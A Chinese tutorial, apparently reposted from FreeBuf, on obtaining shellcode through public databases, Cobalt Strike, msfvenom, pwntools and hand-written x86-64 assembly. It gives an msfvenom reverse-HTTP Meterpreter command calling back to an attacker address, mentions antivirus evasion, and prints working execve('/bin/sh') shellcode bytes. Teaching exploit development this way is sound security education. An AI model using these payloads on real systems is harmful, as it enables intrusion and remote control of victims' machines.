原标题:简述获取shellcode的几种方式

0×00 shellcode简介

在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

shellcode可以按照攻击者控制是否在目标机器上执行载荷分为本地shellcode和远程shellcode。本地运行的shellcode经常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限;远程shellcode常用于攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。

那么,当我们已经通过种种手段得到程序溢出的地址,该如何获取或者编写shellcode呢,一起来看看吧。

0×01 直接获取shellcode

网络上有许多已经编写好的shellcode资源公开分享,由于shellcode的本质是一段机器码,在不同的硬件设备上可能有诸多区别,在使用时一定要注意平台是否通用。下面是两个可以学习的网站。

exploit database

Shellcodes database for study cases(该平台目前已停止更新)

但来自网络的资源很有可能由于久久未更新、适用的系统已经被淘汰,或者是shellcode已经被公开而变得容易被查杀,这时候我们就需要能够即时获取shellcode的方法。

0×02 通过软件获取shellcode

目前网上有很多的开源的自动生成shellcode的工具,在这里介绍两种比较常用的shellcode生成方式。

1.cobaltstrike(版本4.0)

勾选生成c语言形式的shellcode,在下拉列表里我们还能看到有许多其他语言形式的shellcode。

接着我们会得到一个文件,其中包含了所需的shellcode,只要将这段shellcode放入预先写好的加载器中就可以使用了:

2.msf(系统版本kali linux 5.5 amd64)

在linux平台下,我们还可以利用metasploit框架下的msfvenom生成shellcode

命令行选项:

-p, --payload 指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定

-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, --nopsled 为payload预先指定一个NOP滑动长度

-f, --format 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] 指定需要使用的encoder(编码器)

-a, --arch 指定payload的目标架构

--platform 指定payload的目标平台

-s, --space 设定有效攻击荷载的最大长度

-b, --bad-chars 设定规避字符集,比如:\x00\xff

-i, --iterations 指定payload的编码次数

-c, --add-code 指定一个附加的win32 shellcode文件

-x, --template 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options 列举payload的标准选项

-o, --out 保存payload

-v, --var-name 指定一个自定义的变量,以确定输出格式

--shellest 最小化生成payload

-h, --help 查看帮助选项

--help-formats 查看msf支持的输出格式列表

例如:

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c

这个指令生成的shellcode将会注入mettle server payload,反弹连接一个连接。

接着我们会得到相应的shellcode

当然这只是最基础的操作,msfvenom集成了msfpayload和msfencoder,还可以添加其他的指令,通过编码和迭代来避免杀毒软件的查杀。

3.pwntools(python 3.8)

pwntools是常用的二进制利用框架。下图是pwntools中生成shellcode的核心模块shellcraft及相应用法。

例如:

from pwn import *

#设置目标机器信息

context(arch = 'amd64', os = 'linux',log_level = 'debug')

#asm将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode

shellcode=asm(shellcraft.amd64.linux.sh)

print(shellcode)

运行代码,可以得到汇编代码及对应的shellcode:

[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.8/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve */ push 59 /* 0x3b */ pop rax syscall [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-cvwq0p95/step2 /tmp/pwn-asm-cvwq0p95/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-cvwq0p95/step3 /tmp/pwn-asm-cvwq0p95/step4 b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' 0×03编写shellcode

但假如我们需要一些具有特殊功能的shellcode,软件却无法提供相应功能时,该如何方便快捷的编写shellcode呢?

1.直接通过机器码写shellcode

难度对于一般程序员过大,且容易出错

2.通过汇编语言写shellcode

在这里我们以linux平台为例。

理想效果的c代码:

#include "stdlib.h"

#include "stdlib.h"#include "unistd.h"char *buf[]={"/bin/sh",NULL};void main{ execve("/bin/sh",buf,NULL); exit(0);}

execve用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

查询64位linux中断向量表可知,64位linux下,execve对应的中断向量表为:0x3b,对应rax

section .text global _start _start: xor rdx, rdx push rdx mov rax, 0x68732f2f6e69622f //将“/bin//sh”的十六进制按字节倒序后的结果0x68732f2f6e69622f放入rax寄存器。为什么不使用/bin/sh?因为这样会产生\00截断。而/bin//sh和/bin/sh相等。 push rax //将/bin//sh压入栈 mov rdi, rsp //从rsp中获取字符串/bin//sh的地址,将其放入rdi push rdx // push rdi mov rsi, rsp xor rax, rax mov al, 0x3b syscall

编译文件:

nasm -f elf64 sc64.asm

nasm -f elf64 sc64.asm ld -m elf_x86_64 -s -o shellcode sc64.o ./shellcode

成功运行文件,达到了预期效果,说明编写无误:

此时可以查看机器码:

虽然已经给出机器码,但如果我们能通过过滤无关参数直接获取shellcode,何乐而不为呢?运行命令:

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

得到shellcode:

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05

*本文作者:ethereel,转载请注明来自FreeBuf.COM返回搜狐,查看更多

责任编辑:

python 执行shellcode_简述获取shellcode的几种方式相关推荐

  1. linux系统怎么拿shell,简述获取shellcode的几种方式

    原标题:简述获取shellcode的几种方式 0×00 shellcode简介 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得 ...

  2. python执行系统命令后获取返回值的几种方式集合

    第一种情况 os.system('ps aux') 执行系统命令,没有返回值 第二种情况 result = os.popen('ps aux') res = result.read() for lin ...

  3. python中的content方法_content最新:python计算Content-MD5并获取文件的Content-MD5值方式_爱安网 LoveAn.com...

    关于"content"的最新内容 聚合阅读 这篇文章主要介绍了python计算Content-MD5并获取文件的Content-MD5值方式,具有很好的参考价值,希望对大家有所帮助 ...

  4. linux中安shell怎么传入参数,【linux】linux 下 shell命令 执行结果赋值给变量【两种方式】...

    方法1:[通用方法] 使用Tab键上面的反引号 例子如下: find命令 模糊查询在/apps/swapping目录下 查找 文件名中包含swapping并且以.jar结尾的文件 使用反引号 引住命令 ...

  5. SpringBoot静态获取 bean的三种方式,你学会了吗?

    欢迎关注方志朋的博客,回复"666"获面试宝典 来源:blog.csdn.net/showchi/article/details/97005720 注意:调用者要被spring管理 ...

  6. aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式

    点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...

  7. Spring Boot 获取 Bean 的 3 种方式!还有谁不会?

    作者 | chilx 来源 | https://blog.csdn.net/showchi/article/details/97005720 注意:调用者要被spring管理 方式一 注解@PostC ...

  8. Spring Boot当中获取request的三种方式

    本篇博客主要记录request相关知识,也是开发当中经常遇到的,感兴趣的跟小编一起学习吧! 目录 一.请求过程 二.获取request的三种方式 2.1.可以封装为静态方法 2.2.controlle ...

  9. python循环展示大写字母_python调用大写函数python中字典的循环遍历的两种方式

    开发中经常会用到对于字典.列表等数据的循环遍历,但是python中对于字典的遍历对于很多初学者来讲非常陌生,今天就来讲一下python中字典的循环遍历的两种方式. 注意: python2和python ...

最新文章

  1. 开发语音录入_语言翻译小程序app开发 解决了人们的语言障碍问题
  2. OpenCV简单的过滤器平滑的实例(附完整代码)
  3. 录入学员的身份证后控件焦点转移时根据身份证号码获得生日和性别
  4. 鼠标滚轮事件及解决滚轮事件多次触发问题
  5. 【5G落地】首批5G商用牌照正式颁发!5G和AI并肩前行,会带来下一次的工业革命吗?...
  6. Java基础-HashMap集合
  7. Linux之FTP服务、NFS服务、RPC服务及案例
  8. swagger上传文件并支持jwt认证
  9. file_operation(文件操作)file(文件)inode(节点)
  10. 部分电线电缆产品和标准简介
  11. DVWA下载、安装、使用(漏洞测试环境搭建)教程
  12. 每台计算机需要配置网关吗,怎么设置一台电脑作为网关
  13. 阿里云思维导图系列(一)开篇
  14. Android MediaPlayer+SurfaceView播放视频 (异常处理)
  15. 蜂巢BeeconX|大型美容医院如何构建WiFi系统?
  16. 字节跳动,野心十足,十年有可能打败腾讯成为第二个互联网巨头吗?
  17. JS中箭头函数详解=
  18. 《CSAPP》(第3版)答案(第三章)(一)
  19. 自己制作 Android Vector Asset 矢量图
  20. 金融IT系统高可用运维经验总结—人员、技术、流程

热门文章

  1. webpack4+vue打包简单入门
  2. 广搜,智能拼图(ZOJ1079)
  3. ASP.NET Core DI 手动获取注入对象
  4. Android 如何在Eclipse中查看Android API源码 及 support包源码
  5. hdu 4715 Difference Between Primes 2013年ICPC热身赛A题 素数水题
  6. SpringMVC 快速入门
  7. Google Native Client介紹
  8. 横屏模式(landscape)下的UIDatePicker
  9. C++-string常用函数整理(建议收藏)
  10. aix创建oracle表空间,Oracle for AIX基于裸设备的表空间扩充步聚